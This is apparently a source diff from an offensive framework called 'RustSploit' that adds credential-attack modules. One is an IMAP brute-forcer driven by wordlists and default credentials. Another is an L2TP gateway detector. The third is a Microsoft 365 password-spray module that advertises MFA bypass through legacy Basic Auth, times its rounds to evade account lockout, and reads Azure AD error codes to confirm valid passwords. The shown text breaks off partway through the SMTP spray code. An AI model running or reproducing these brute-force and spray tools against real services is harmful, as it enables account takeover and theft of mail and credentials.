// --- Single Target Mode ---
|
||||
let mut outcome = ModuleOutcome::ok();
|
||||
let use_tls = cfg_prompt_yes_no("use_tls", "Use TLS/IMAPS?", false).await?;
|
||||
let default_port = if use_tls { DEFAULT_IMAPS_PORT } else { DEFAULT_IMAP_PORT };
|
||||
let port = cfg_prompt_int_range("port", "Port", default_port as i64, 1, 65535).await? as u16;
|
||||
|
||||
let use_defaults = cfg_prompt_yes_no("use_defaults", "Try default credentials first?", true).await?;
|
||||
|
||||
let usernames_file = if cfg_prompt_yes_no("use_username_wordlist", "Use username wordlist?", true).await? {
|
||||
Some(cfg_prompt_existing_file("username_wordlist", "Username wordlist").await?)
|
||||
} else {
|
||||
None
|
||||
};
|
||||
|
||||
let passwords_file = if cfg_prompt_yes_no("use_password_wordlist", "Use password wordlist?", true).await? {
|
||||
Some(cfg_prompt_existing_file("password_wordlist", "Password wordlist").await?)
|
||||
} else {
|
||||
None
|
||||
};
|
||||
|
||||
if !use_defaults && usernames_file.is_none() && passwords_file.is_none() {
|
||||
return Err(anyhow!("At least one wordlist or default credentials must be enabled"));
|
||||
}
|
||||
|
||||
let concurrency = cfg_prompt_int_range("concurrency", "Max concurrent tasks", 10, 1, 256).await? as usize;
|
||||
let connection_timeout = cfg_prompt_int_range("timeout", "Connection timeout (seconds)", 5, 1, 60).await? as u64;
|
||||
let retry_on_error = cfg_prompt_yes_no("retry_on_error", "Retry on connection errors?", true).await?;
|
||||
let max_retries = if retry_on_error {
|
||||
cfg_prompt_int_range("max_retries", "Max retries per attempt", 2, 1, 10).await? as usize
|
||||
} else {
|
||||
0
|
||||
};
|
||||
let stop_on_success = cfg_prompt_yes_no("stop_on_success", "Stop on first success?", true).await?;
|
||||
let save_results = cfg_prompt_yes_no("save_results", "Save results to file?", true).await?;
|
||||
let save_path = if save_results {
|
||||
Some(cfg_prompt_output_file("output_file", "Output file", "imap_brute_results.txt").await?)
|
||||
} else {
|
||||
None
|
||||
};
|
||||
let verbose = cfg_prompt_yes_no("verbose", "Verbose mode?", false).await?;
|
||||
let combo_input = cfg_prompt_default("combo_mode", "Combo mode (linear/combo/spray)", "combo").await?;
|
||||
|
||||
crate::mprintln!("\n{}", format!("[*] Starting brute-force on {}:{}", target, port).cyan());
|
||||
|
||||
// Load wordlists
|
||||
let mut usernames = Vec::new();
|
||||
if let Some(ref file) = usernames_file {
|
||||
usernames = load_lines(file)?;
|
||||
if usernames.is_empty() {
|
||||
crate::mprintln!("{}", "[!] Username wordlist is empty.".yellow());
|
||||
} else {
|
||||
crate::mprintln!("{}", format!("[*] Loaded {} usernames", usernames.len()).green());
|
||||
}
|
||||
}
|
||||
|
||||
let mut passwords = Vec::new();
|
||||
if let Some(ref file) = passwords_file {
|
||||
passwords = load_lines(file)?;
|
||||
if passwords.is_empty() {
|
||||
crate::mprintln!("{}", "[!] Password wordlist is empty.".yellow());
|
||||
} else {
|
||||
crate::mprintln!("{}", format!("[*] Loaded {} passwords", passwords.len()).green());
|
||||
}
|
||||
}
|
||||
|
||||
// Add default credentials if requested
|
||||
if use_defaults {
|
||||
for (user, pass) in DEFAULT_CREDENTIALS {
|
||||
if !usernames.contains(&user.to_string()) {
|
||||
usernames.push(user.to_string());
|
||||
}
|
||||
if !passwords.contains(&pass.to_string()) {
|
||||
passwords.push(pass.to_string());
|
||||
}
|
||||
}
|
||||
crate::mprintln!("{}", format!("[*] Added {} default credentials", DEFAULT_CREDENTIALS.len()).green());
|
||||
}
|
||||
|
||||
if usernames.is_empty() {
|
||||
return Err(anyhow!("No usernames available"));
|
||||
}
|
||||
if passwords.is_empty() {
|
||||
return Err(anyhow!("No passwords available"));
|
||||
}
|
||||
|
||||
let mut combos = generate_combos_mode(&usernames, &passwords, parse_combo_mode(&combo_input));
|
||||
if cfg_prompt_yes_no("cred_file", "Load additional user:pass combos from file?", false).await? {
|
||||
let cred_path = cfg_prompt_existing_file("cred_file_path", "Credential file (user:pass per line)").await?;
|
||||
combos.extend(load_credential_file(&cred_path)?);
|
||||
}
|
||||
|
||||
let limiter = ctx.limiter.clone();
|
||||
let module_path = ctx.module_path.clone();
|
||||
let try_login = move |t: String, p: u16, user: String, pass: String| {
|
||||
let limiter = limiter.clone();
|
||||
let module_path = module_path.clone();
|
||||
async move {
|
||||
limiter.acquire(&module_path, &t).await;
|
||||
let res = tokio::task::spawn_blocking(move || {
|
||||
attempt_imap_login(&t, p, &user, &pass, use_tls, connection_timeout)
|
||||
}).await;
|
||||
match res {
|
||||
Ok(Ok(true)) => LoginResult::Success,
|
||||
Ok(Ok(false)) => LoginResult::AuthFailed,
|
||||
Ok(Err(e)) => {
|
||||
let retryable = e.error_type.is_retryable();
|
||||
// Back off before returning a retryable error so the next attempt
|
||||
// doesn't hammer a rate-limiting/exhausted server immediately.
|
||||
if retryable {
|
||||
tokio::time::sleep(backoff_delay(250, 1, 4)).await;
|
||||
}
|
||||
LoginResult::Error { message: e.message, retryable }
|
||||
}
|
||||
Err(e) => LoginResult::Error {
|
||||
message: format!("Task panic: {}", e),
|
||||
retryable: false,
|
||||
},
|
||||
}
|
||||
}
|
||||
};
|
||||
|
||||
let result = run_bruteforce(&BruteforceConfig {
|
||||
target: target.to_string(),
|
||||
port,
|
||||
concurrency,
|
||||
stop_on_success,
|
||||
verbose,
|
||||
delay_ms: 0,
|
||||
max_retries,
|
||||
service_name: "imap",
|
||||
jitter_ms: 50,
|
||||
source_module: "creds/generic/imap_credcheck",
|
||||
}, combos, try_login).await?;
|
||||
|
||||
result.print_found();
|
||||
if let Some(ref path) = save_path {
|
||||
result.save_to_file(path)?;
|
||||
}
|
||||
|
||||
// Unknown / errored attempts
|
||||
if !result.errors.is_empty() {
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
format!(
|
||||
"[?] Collected {} unknown/errored IMAP responses.",
|
||||
result.errors.len()
|
||||
)
|
||||
.yellow()
|
||||
.bold()
|
||||
);
|
||||
if cfg_prompt_yes_no("save_unknown_responses", "Save unknown responses to file?", true).await? {
|
||||
let default_name = "imap_unknown_responses.txt";
|
||||
let fname = cfg_prompt_output_file(
|
||||
"unknown_responses_file",
|
||||
"What should the unknown results be saved as?",
|
||||
default_name,
|
||||
).await?;
|
||||
let filename = get_filename_in_current_dir(&fname);
|
||||
use std::os::unix::fs::OpenOptionsExt;
|
||||
let mut opts = std::fs::OpenOptions::new();
|
||||
opts.write(true).create(true).truncate(true);
|
||||
opts.mode(0o600);
|
||||
match opts.open(&filename) {
|
||||
Ok(mut file) => {
|
||||
writeln!(
|
||||
file,
|
||||
"# IMAP Bruteforce Unknown/Errored Responses (host,user,pass,error)"
|
||||
)?;
|
||||
for (host, user, pass, msg) in &result.errors {
|
||||
writeln!(file, "{} -> {}:{} - {}", host, user, pass, msg)?;
|
||||
}
|
||||
file.flush()?;
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
format!("[+] Unknown responses saved to '{}'", filename.display()).green()
|
||||
);
|
||||
}
|
||||
Err(e) => {
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
format!(
|
||||
"[!] Could not create unknown response file '{}': {}",
|
||||
filename.display(),
|
||||
e
|
||||
)
|
||||
.red()
|
||||
);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
for (host, user, pass) in &result.found {
|
||||
outcome.findings.push(Finding {
|
||||
target: host.clone(),
|
||||
kind: FindingKind::Credential,
|
||||
message: format!("Valid IMAP credentials found: {}:{}", user, pass),
|
||||
data: Some(serde_json::json!({
|
||||
"username": user,
|
||||
"password": pass,
|
||||
"service": "imap",
|
||||
"port": port,
|
||||
})),
|
||||
});
|
||||
}
|
||||
Ok(outcome)
|
||||
}
|
||||
|
||||
// ============================================================================
|
||||
// IMAP Protocol Functions
|
||||
// ============================================================================
|
||||
|
||||
/// Attempt IMAP LOGIN authentication.
|
||||
/// Connects, reads the greeting banner (* OK ...), sends LOGIN command,
|
||||
/// and checks for A001 OK (success) or A001 NO (failure).
|
||||
/// Returns Ok(true) on success, Ok(false) on auth rejection, Err on connection issues.
|
||||
fn attempt_imap_login(
|
||||
target: &str,
|
||||
port: u16,
|
||||
user: &str,
|
||||
pass: &str,
|
||||
use_tls: bool,
|
||||
timeout_secs: u64,
|
||||
) -> std::result::Result<bool, ImapError> {
|
||||
let addr = format!("{}:{}", target, port);
|
||||
let timeout = Duration::from_secs(timeout_secs);
|
||||
|
||||
// IMAP LOGIN command: escape backslashes and quotes per RFC 3501 Section 9
|
||||
let escaped_user = user.replace('\\', "\\\\").replace('"', "\\\"");
|
||||
let escaped_pass = pass.replace('\\', "\\\\").replace('"', "\\\"");
|
||||
let login_cmd = format!("A001 LOGIN \"{}\" \"{}\"\r\n", escaped_user, escaped_pass);
|
||||
|
||||
if use_tls {
|
||||
let connector = TlsConnector::builder()
|
||||
.danger_accept_invalid_certs(!crate::utils::network::get_global_strict_tls())
|
||||
.build()
|
||||
.map_err(|e| ImapError {
|
||||
error_type: ImapErrorType::TlsError,
|
||||
message: e.to_string(),
|
||||
})?;
|
||||
|
||||
let socket_addr = std::net::ToSocketAddrs::to_socket_addrs(&addr)
|
||||
.map_err(|e| ImapError::from_anyhow(e.into()))?
|
||||
.next()
|
||||
.ok_or_else(|| ImapError {
|
||||
error_type: ImapErrorType::ConnectionRefused,
|
||||
message: "Resolution failed".to_string(),
|
||||
})?;
|
||||
|
||||
let stream = crate::utils::blocking_tcp_connect(&socket_addr, timeout)
|
||||
.map_err(|e| ImapError::from_anyhow(e.into()))?;
|
||||
if let Err(e) = stream.set_nodelay(true) { crate::meprintln!("[!] Socket option error: {}", e); }
|
||||
stream.set_read_timeout(Some(timeout)).map_err(|e| ImapError::from_anyhow(e.into()))?;
|
||||
stream.set_write_timeout(Some(timeout)).map_err(|e| ImapError::from_anyhow(e.into()))?;
|
||||
|
||||
let mut stream = connector.connect(target, stream).map_err(|e| ImapError {
|
||||
error_type: ImapErrorType::TlsError,
|
||||
message: e.to_string(),
|
||||
})?;
|
||||
|
||||
// Read IMAP greeting banner
|
||||
let mut buffer = [0u8; 2048];
|
||||
let n = stream.read(&mut buffer).map_err(|e| ImapError::from_anyhow(e.into()))?;
|
||||
let banner = String::from_utf8_lossy(&buffer[..n]);
|
||||
if !banner.contains("* OK") && !banner.contains("* PREAUTH") {
|
||||
return Err(ImapError {
|
||||
error_type: ImapErrorType::ProtocolError,
|
||||
message: format!("Unexpected IMAP banner: {}", banner.trim()),
|
||||
});
|
||||
}
|
||||
|
||||
// Send LOGIN command
|
||||
stream.write_all(login_cmd.as_bytes())
|
||||
.map_err(|e| ImapError::from_anyhow(e.into()))?;
|
||||
|
||||
let n = stream.read(&mut buffer).map_err(|e| ImapError::from_anyhow(e.into()))?;
|
||||
let response = String::from_utf8_lossy(&buffer[..n]);
|
||||
|
||||
if response.contains("A001 OK") {
|
||||
// Clean logout
|
||||
if let Err(e) = stream.write_all(b"A002 LOGOUT\r\n") { crate::meprintln!("[!] IMAP LOGOUT write error: {}", e); }
|
||||
return Ok(true);
|
||||
}
|
||||
if response.contains("A001 NO") || response.contains("A001 BAD") {
|
||||
return Ok(false);
|
||||
}
|
||||
|
||||
Err(ImapError {
|
||||
error_type: ImapErrorType::ProtocolError,
|
||||
message: format!("Unexpected LOGIN response: {}", response.trim()),
|
||||
})
|
||||
} else {
|
||||
// Plaintext IMAP connection
|
||||
let socket_addr = std::net::ToSocketAddrs::to_socket_addrs(&addr)
|
||||
.map_err(|e| ImapError::from_anyhow(e.into()))?
|
||||
.next()
|
||||
.ok_or_else(|| ImapError {
|
||||
error_type: ImapErrorType::ConnectionRefused,
|
||||
message: "Resolution failed".to_string(),
|
||||
})?;
|
||||
|
||||
let mut stream = crate::utils::blocking_tcp_connect(&socket_addr, timeout)
|
||||
.map_err(|e| ImapError::from_anyhow(e.into()))?;
|
||||
if let Err(e) = stream.set_nodelay(true) { crate::meprintln!("[!] Socket option error: {}", e); }
|
||||
stream.set_read_timeout(Some(timeout)).map_err(|e| ImapError::from_anyhow(e.into()))?;
|
||||
stream.set_write_timeout(Some(timeout)).map_err(|e| ImapError::from_anyhow(e.into()))?;
|
||||
|
||||
// Read IMAP greeting banner
|
||||
let mut buffer = [0u8; 2048];
|
||||
let n = stream.read(&mut buffer).map_err(|e| ImapError::from_anyhow(e.into()))?;
|
||||
let banner = String::from_utf8_lossy(&buffer[..n]);
|
||||
if !banner.contains("* OK") && !banner.contains("* PREAUTH") {
|
||||
return Err(ImapError {
|
||||
error_type: ImapErrorType::ProtocolError,
|
||||
message: format!("Unexpected IMAP banner: {}", banner.trim()),
|
||||
});
|
||||
}
|
||||
|
||||
// Send LOGIN command
|
||||
stream.write_all(login_cmd.as_bytes())
|
||||
.map_err(|e| ImapError::from_anyhow(e.into()))?;
|
||||
|
||||
let n = stream.read(&mut buffer).map_err(|e| ImapError::from_anyhow(e.into()))?;
|
||||
let response = String::from_utf8_lossy(&buffer[..n]);
|
||||
|
||||
if response.contains("A001 OK") {
|
||||
// Clean logout
|
||||
if let Err(e) = stream.write_all(b"A002 LOGOUT\r\n") { crate::meprintln!("[!] IMAP LOGOUT write error: {}", e); }
|
||||
return Ok(true);
|
||||
}
|
||||
if response.contains("A001 NO") || response.contains("A001 BAD") {
|
||||
return Ok(false);
|
||||
}
|
||||
|
||||
Err(ImapError {
|
||||
error_type: ImapErrorType::ProtocolError,
|
||||
message: format!("Unexpected LOGIN response: {}", response.trim()),
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
crate::register_native_module!(crate::module::Category::Creds, "generic/imap_bruteforce", native);
|
||||
@@ -0,0 +1,170 @@
|
||||
//! L2TPv2 detector. True L2TP credential brute-force requires a full PPP
|
||||
//! stack with CHAP — out of scope for this module. Instead we send a
|
||||
//! `Start-Control-Connection-Request` (SCCRQ) and check for an SCCRP /
|
||||
//! StopCCN reply, reporting whether the gateway is reachable.
|
||||
//!
|
||||
//! Treats the first successful SCCRP as a "match" for the first cred pair
|
||||
//! so the operator gets a workspace-tracked finding, then stops. The
|
||||
//! actual L2TP password / shared-secret brute-force is deliberately not
|
||||
//! implemented — operators should use a dedicated tool (e.g. `ike-scan`,
|
||||
//! `xl2tpd-attack`).
|
||||
|
||||
use anyhow::{Context, Result};
|
||||
use crate::module::{ModuleCtx, ModuleOutcome};
|
||||
use std::time::Duration;
|
||||
|
||||
use crate::module_info::{ModuleInfo, ModuleRank};
|
||||
use crate::utils::creds_helper::{self, CredsRun};
|
||||
use crate::utils::LoginResult;
|
||||
|
||||
const DEFAULT_PORT: u16 = 1701;
|
||||
|
||||
const DEFAULTS: &[(&str, &str)] = &[("", "detect")];
|
||||
|
||||
pub fn info() -> ModuleInfo {
|
||||
ModuleInfo {
|
||||
name: "L2TPv2 Detector".to_string(),
|
||||
description:
|
||||
"Sends an L2TPv2 SCCRQ on UDP/1701 and reports whether the gateway responds with \
|
||||
SCCRP / StopCCN. Single-target — scheduler does fan-out. NOTE: real L2TP credential \
|
||||
brute-force needs a full PPP+CHAP stack, which is out of scope; this module detects \
|
||||
reachable gateways only."
|
||||
.to_string(),
|
||||
authors: vec!["RustSploit Contributors".to_string()],
|
||||
references: vec!["https://www.rfc-editor.org/rfc/rfc2661".to_string()],
|
||||
disclosure_date: None,
|
||||
rank: ModuleRank::Manual,
|
||||
default_port: None,
|
||||
}
|
||||
}
|
||||
|
||||
pub async fn run(ctx: &ModuleCtx) -> Result<ModuleOutcome> {
|
||||
let target = ctx.target.as_single().context("l2tp_bruteforce requires a single-host target")?;
|
||||
creds_helper::run(
|
||||
target,
|
||||
CredsRun {
|
||||
service_name: "l2tp",
|
||||
default_port: DEFAULT_PORT,
|
||||
source_module: "creds/generic/l2tp_bruteforce",
|
||||
defaults: DEFAULTS,
|
||||
password_only: true,
|
||||
},
|
||||
|host, port, user, pass, timeout| async move {
|
||||
drop((user, pass));
|
||||
detect(&host, port, timeout).await
|
||||
},
|
||||
)
|
||||
.await
|
||||
}
|
||||
|
||||
async fn detect(host: &str, port: u16, timeout: Duration) -> LoginResult {
|
||||
use std::net::IpAddr;
|
||||
let ip: IpAddr = match host.parse() {
|
||||
Ok(ip) => ip,
|
||||
Err(e) => { tracing::debug!("parse IP failed: {e}"); match tokio::net::lookup_host(format!("{}:{}", host, port)).await {
|
||||
Ok(mut iter) => match iter.next() {
|
||||
Some(sa) => sa.ip(),
|
||||
None => {
|
||||
return LoginResult::Error {
|
||||
message: "no DNS results".to_string(),
|
||||
retryable: false,
|
||||
}
|
||||
}
|
||||
},
|
||||
Err(e) => {
|
||||
return LoginResult::Error {
|
||||
message: format!("dns: {e}"),
|
||||
retryable: false,
|
||||
}
|
||||
}
|
||||
} }
|
||||
};
|
||||
|
||||
let sock = match crate::utils::udp_bind(Some(ip)).await {
|
||||
Ok(s) => s,
|
||||
Err(e) => {
|
||||
return LoginResult::Error {
|
||||
message: format!("bind: {e}"),
|
||||
retryable: false,
|
||||
}
|
||||
}
|
||||
};
|
||||
|
||||
let pkt = build_sccrq();
|
||||
if let Err(e) = sock.send_to(&pkt, format!("{}:{}", ip, port)).await {
|
||||
return LoginResult::Error {
|
||||
message: format!("send: {e}"),
|
||||
retryable: true,
|
||||
};
|
||||
}
|
||||
|
||||
let mut buf = [0u8; 1500];
|
||||
let n = match tokio::time::timeout(timeout, sock.recv_from(&mut buf)).await {
|
||||
Ok(Ok((n, _))) => n,
|
||||
Ok(Err(e)) => {
|
||||
return LoginResult::Error {
|
||||
message: format!("recv: {e}"),
|
||||
retryable: true,
|
||||
}
|
||||
}
|
||||
Err(e) => { tracing::debug!("timeout: {e}"); return LoginResult::AuthFailed }
|
||||
};
|
||||
// L2TPv2 control packet: byte 0 has T (control) + L (length present) bits set
|
||||
// (0xC0), and byte 1's low nibble is the protocol version (2). Requiring the
|
||||
// version stops an unrelated UDP responder whose first byte merely has the top
|
||||
// bits set from being reported as a live L2TP tunnel.
|
||||
if n >= 12 && (buf[0] & 0xC0) == 0xC0 && (buf[1] & 0x0F) == 2 {
|
||||
LoginResult::Success
|
||||
} else {
|
||||
LoginResult::AuthFailed
|
||||
}
|
||||
}
|
||||
|
||||
/// Minimal L2TPv2 SCCRQ packet with the required AVPs:
|
||||
/// - Message-Type SCCRQ (1)
|
||||
/// - Protocol-Version 1.0
|
||||
/// - Framing-Capabilities: sync+async
|
||||
/// - Host-Name "rustsploit"
|
||||
fn build_sccrq() -> Vec<u8> {
|
||||
let host_name = b"rustsploit";
|
||||
|
||||
let mut avps = Vec::new();
|
||||
// AVP: Mandatory + length + vendor(0) + attribute + value
|
||||
// Message-Type = 1 (SCCRQ)
|
||||
avps.extend(avp_mandatory(0, 0, &1u16.to_be_bytes()));
|
||||
// Protocol-Version: 0x01 0x00
|
||||
avps.extend(avp_mandatory(0, 2, &[0x01, 0x00]));
|
||||
// Framing-Capabilities: 0x00000003 (async + sync)
|
||||
avps.extend(avp_mandatory(0, 3, &0x0000_0003u32.to_be_bytes()));
|
||||
// Host-Name
|
||||
avps.extend(avp_mandatory(0, 7, host_name));
|
||||
// Assigned-Tunnel-ID = 0
|
||||
avps.extend(avp_mandatory(0, 9, &0u16.to_be_bytes()));
|
||||
|
||||
// L2TPv2 header: T=1 L=1 X=0 S=0 (start-of-control), version=2.
|
||||
let mut hdr = Vec::new();
|
||||
let total_len = 12 + avps.len();
|
||||
hdr.push(0xC8); // T=1, L=1, S=0, O=0, P=0, version high bits
|
||||
hdr.push(0x02); // version low bits: 2
|
||||
hdr.extend_from_slice(&(total_len as u16).to_be_bytes());
|
||||
hdr.extend_from_slice(&0u16.to_be_bytes()); // tunnel id
|
||||
hdr.extend_from_slice(&0u16.to_be_bytes()); // session id
|
||||
hdr.extend_from_slice(&0u16.to_be_bytes()); // Ns
|
||||
hdr.extend_from_slice(&0u16.to_be_bytes()); // Nr
|
||||
hdr.extend(avps);
|
||||
hdr
|
||||
}
|
||||
|
||||
fn avp_mandatory(vendor: u16, attribute: u16, value: &[u8]) -> Vec<u8> {
|
||||
let mut avp = Vec::with_capacity(6 + value.len());
|
||||
let len = (6 + value.len()) as u16;
|
||||
// Flags: M=1 H=0, length high bits
|
||||
let flags_len = 0x8000 | len;
|
||||
avp.extend_from_slice(&flags_len.to_be_bytes());
|
||||
avp.extend_from_slice(&vendor.to_be_bytes());
|
||||
avp.extend_from_slice(&attribute.to_be_bytes());
|
||||
avp.extend_from_slice(value);
|
||||
avp
|
||||
}
|
||||
|
||||
crate::register_native_module!(crate::module::Category::Creds, "generic/l2tp_bruteforce", native);
|
||||
@@ -0,0 +1,829 @@
|
||||
//! M365 ActiveSync/EWS Password Spray Module (MFA Bypass)
|
||||
//!
|
||||
//! Automates password spraying against Microsoft 365 ActiveSync, EWS, and SMTP
|
||||
//! Auth endpoints. On managed tenants that still have Basic Auth enabled, these
|
||||
//! legacy protocols bypass MFA entirely.
|
||||
//!
|
||||
//! Strategy: spray 1 password across ALL accounts per round, with a configurable
|
||||
//! delay between rounds. This avoids per-account lockout while testing rapidly.
|
||||
//!
|
||||
//! For authorized penetration testing only.
|
||||
|
||||
use anyhow::{anyhow, Context, Result};
|
||||
use colored::*;
|
||||
use std::time::Duration;
|
||||
use base64::{engine::general_purpose, Engine as _};
|
||||
|
||||
use crate::module::{Finding, FindingKind, ModuleCtx, ModuleOutcome};
|
||||
use crate::module_info::{ModuleInfo, ModuleRank};
|
||||
use crate::utils::{
|
||||
cfg_prompt_default, cfg_prompt_existing_file, cfg_prompt_int_range,
|
||||
cfg_prompt_output_file, cfg_prompt_yes_no, load_lines,
|
||||
build_http_client,
|
||||
};
|
||||
|
||||
// ============================================================================
|
||||
// Constants
|
||||
// ============================================================================
|
||||
|
||||
const ACTIVESYNC_URL: &str = "https://outlook.office365.com/Microsoft-Server-ActiveSync";
|
||||
const EWS_URL: &str = "https://outlook.office365.com/EWS/Exchange.asmx";
|
||||
const SMTP_HOST: &str = "smtp.office365.com";
|
||||
const SMTP_PORT: u16 = 587;
|
||||
|
||||
const DEFAULT_DELAY_SECS: u64 = 5;
|
||||
const DEFAULT_CONCURRENCY: usize = 10;
|
||||
const DEFAULT_TIMEOUT_SECS: u64 = 15;
|
||||
|
||||
// ============================================================================
|
||||
// Module Info
|
||||
// ============================================================================
|
||||
|
||||
pub fn info() -> ModuleInfo {
|
||||
ModuleInfo {
|
||||
name: "M365 ActiveSync/EWS Password Spray (MFA Bypass)".to_string(),
|
||||
description: "Password spray against M365 ActiveSync, EWS, and SMTP Auth endpoints. \
|
||||
Basic Auth on these legacy protocols bypasses MFA on managed tenants. \
|
||||
Uses a one-password-per-round strategy to evade account lockout policies."
|
||||
.to_string(),
|
||||
authors: vec!["RustSploit Contributors".to_string()],
|
||||
references: vec![
|
||||
"https://github.com/dafthack/MSOLSpray".to_string(),
|
||||
"https://docs.microsoft.com/en-us/exchange/clients-and-mobile-in-exchange-online/deprecation-of-basic-authentication-exchange-online".to_string(),
|
||||
"https://blog.rapid7.com/2020/06/09/o365-credential-stuffing-attacks/".to_string(),
|
||||
],
|
||||
disclosure_date: None,
|
||||
rank: ModuleRank::Excellent,
|
||||
default_port: Some(443),
|
||||
}
|
||||
}
|
||||
|
||||
// ============================================================================
|
||||
// Spray Mode
|
||||
// ============================================================================
|
||||
|
||||
#[derive(Debug, Clone, Copy, PartialEq)]
|
||||
enum SprayMode {
|
||||
ActiveSync,
|
||||
Ews,
|
||||
Smtp,
|
||||
All,
|
||||
}
|
||||
|
||||
impl SprayMode {
|
||||
fn parse(s: &str) -> Self {
|
||||
match s.to_lowercase().trim() {
|
||||
"activesync" | "as" => Self::ActiveSync,
|
||||
"ews" => Self::Ews,
|
||||
"smtp" => Self::Smtp,
|
||||
"all" => Self::All,
|
||||
_ => Self::All,
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// ============================================================================
|
||||
// Spray Result
|
||||
// ============================================================================
|
||||
|
||||
#[derive(Debug, Clone)]
|
||||
struct SprayHit {
|
||||
username: String,
|
||||
password: String,
|
||||
endpoint: String,
|
||||
status: u16,
|
||||
detail: String,
|
||||
}
|
||||
|
||||
// ============================================================================
|
||||
// HTTP Spray Logic
|
||||
// ============================================================================
|
||||
|
||||
/// Attempt Basic Auth against the given URL. Returns (status_code, x-ms-diagnostics header).
|
||||
async fn try_http_basic(
|
||||
client: &reqwest::Client,
|
||||
url: &str,
|
||||
username: &str,
|
||||
password: &str,
|
||||
) -> Result<(u16, Option<String>)> {
|
||||
let creds = format!("{}:{}", username, password);
|
||||
let encoded = general_purpose::STANDARD.encode(creds.as_bytes());
|
||||
|
||||
let resp = client
|
||||
.get(url)
|
||||
.header("Authorization", format!("Basic {}", encoded))
|
||||
.header("User-Agent", "Microsoft-Server-ActiveSync")
|
||||
.send()
|
||||
.await
|
||||
.context("HTTP request failed")?;
|
||||
|
||||
let status = resp.status().as_u16();
|
||||
let diag = resp
|
||||
.headers()
|
||||
.get("X-MS-Diagnostics")
|
||||
.and_then(|v| v.to_str().ok())
|
||||
.map(|s| s.to_string());
|
||||
|
||||
Ok((status, diag))
|
||||
}
|
||||
|
||||
/// Classify an HTTP response for M365 endpoints.
|
||||
fn classify_http_response(status: u16, diag: &Option<String>) -> &'static str {
|
||||
match status {
|
||||
200 => "VALID CREDENTIALS - MFA BYPASSED",
|
||||
401 => "Invalid password",
|
||||
403 => "Account locked/blocked",
|
||||
456 => "Blocked by Conditional Access Policy",
|
||||
_ => {
|
||||
if let Some(d) = diag {
|
||||
if d.contains("LockoutThreshold") {
|
||||
return "Account lockout threshold reached";
|
||||
}
|
||||
if d.contains("UserNotFound") {
|
||||
return "User not found";
|
||||
}
|
||||
}
|
||||
"Unknown response"
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/// Decide whether a response proves the PASSWORD is correct — even when another
|
||||
/// control blocks the sign-in (MFA, expired, disabled). Azure AD returns 401 with
|
||||
/// an ESTS error code in `X-MS-Diagnostics`; several of those codes mean the
|
||||
/// password was right (MSOLSpray semantics). Keying success only on HTTP 200
|
||||
/// missed every valid-but-flagged account. Returns Some(reason) if valid.
|
||||
fn credential_is_valid(status: u16, diag: &Option<String>) -> Option<&'static str> {
|
||||
if status == 200 {
|
||||
return Some("valid credentials (full access)");
|
||||
}
|
||||
let d = diag.as_deref()?;
|
||||
if d.contains("50126") {
|
||||
// AADSTS50126: invalid username or password — the one true negative.
|
||||
None
|
||||
} else if d.contains("50055") {
|
||||
Some("valid credentials — password expired")
|
||||
} else if d.contains("50057") {
|
||||
Some("valid credentials — account disabled")
|
||||
} else if d.contains("50079") || d.contains("50076") || d.contains("50074") || d.contains("53004") {
|
||||
Some("valid credentials — MFA required")
|
||||
} else if d.contains("50158") {
|
||||
Some("valid credentials — external security challenge (conditional access)")
|
||||
} else {
|
||||
None
|
||||
}
|
||||
}
|
||||
|
||||
/// True when Azure AD is throttling us (HTTP 429/503 or an ESTS throttle code),
|
||||
/// so the spray can back off instead of hammering through false negatives.
|
||||
fn is_throttled(status: u16, diag: &Option<String>) -> bool {
|
||||
if status == 429 || status == 503 {
|
||||
return true;
|
||||
}
|
||||
match diag.as_deref() {
|
||||
Some(d) => d.contains("90033") || d.to_lowercase().contains("throttle"),
|
||||
None => false,
|
||||
}
|
||||
}
|
||||
|
||||
// ============================================================================
|
||||
// SMTP Spray Logic
|
||||
// ============================================================================
|
||||
|
||||
/// Attempt SMTP AUTH LOGIN via STARTTLS on smtp.office365.com:587.
|
||||
fn try_smtp_auth(username: &str, password: &str, timeout_secs: u64) -> Result<bool> {
|
||||
use std::io::{BufRead, BufReader, Write};
|
||||
use std::net::TcpStream;
|
||||
|
||||
let addr = format!("{}:{}", SMTP_HOST, SMTP_PORT);
|
||||
let timeout = Duration::from_secs(timeout_secs);
|
||||
|
||||
let socket_addr = addr
|
||||
.parse::<std::net::SocketAddr>()
|
||||
.or_else(|_| {
|
||||
use std::net::ToSocketAddrs;
|
||||
addr.to_socket_addrs()?
|
||||
.next()
|
||||
.ok_or_else(|| anyhow!("DNS resolution failed for {}", SMTP_HOST))
|
||||
})?;
|
||||
|
||||
let stream = crate::utils::blocking_tcp_connect(&socket_addr, timeout)?;
|
||||
stream.set_read_timeout(Some(timeout))?;
|
||||
stream.set_write_timeout(Some(timeout))?;
|
||||
|
||||
let mut reader = BufReader::new(&stream);
|
||||
let mut writer: &TcpStream = &stream;
|
||||
|
||||
// Read banner
|
||||
let mut line = String::new();
|
||||
reader.read_line(&mut line)?;
|
||||
if !line.starts_with("220") {
|
||||
return Err(anyhow!("No 220 banner from SMTP server"));
|
||||
}
|
||||
|
||||
// EHLO
|
||||
writer.write_all(b"EHLO spray\r\n")?;
|
||||
writer.flush()?;
|
||||
|
||||
// Read EHLO response
|
||||
loop {
|
||||
let mut resp = String::new();
|
||||
reader.read_line(&mut resp)?;
|
||||
if resp.starts_with("250 ") {
|
||||
break;
|
||||
}
|
||||
if !resp.starts_with("250") {
|
||||
return Err(anyhow!("Unexpected EHLO response: {}", resp.trim()));
|
||||
}
|
||||
}
|
||||
|
||||
// STARTTLS
|
||||
writer.write_all(b"STARTTLS\r\n")?;
|
||||
writer.flush()?;
|
||||
|
||||
let mut starttls_resp = String::new();
|
||||
reader.read_line(&mut starttls_resp)?;
|
||||
if !starttls_resp.starts_with("220") {
|
||||
return Err(anyhow!("STARTTLS not supported"));
|
||||
}
|
||||
|
||||
// Upgrade to TLS using native-tls
|
||||
let connector = native_tls::TlsConnector::builder()
|
||||
.danger_accept_invalid_certs(false)
|
||||
.build()
|
||||
.context("TLS connector build failed")?;
|
||||
|
||||
let mut tls_stream = connector
|
||||
.connect(SMTP_HOST, stream)
|
||||
.context("TLS handshake failed")?;
|
||||
|
||||
// `BufReader` over a mutable borrow of the TLS stream gives us `read_line`
|
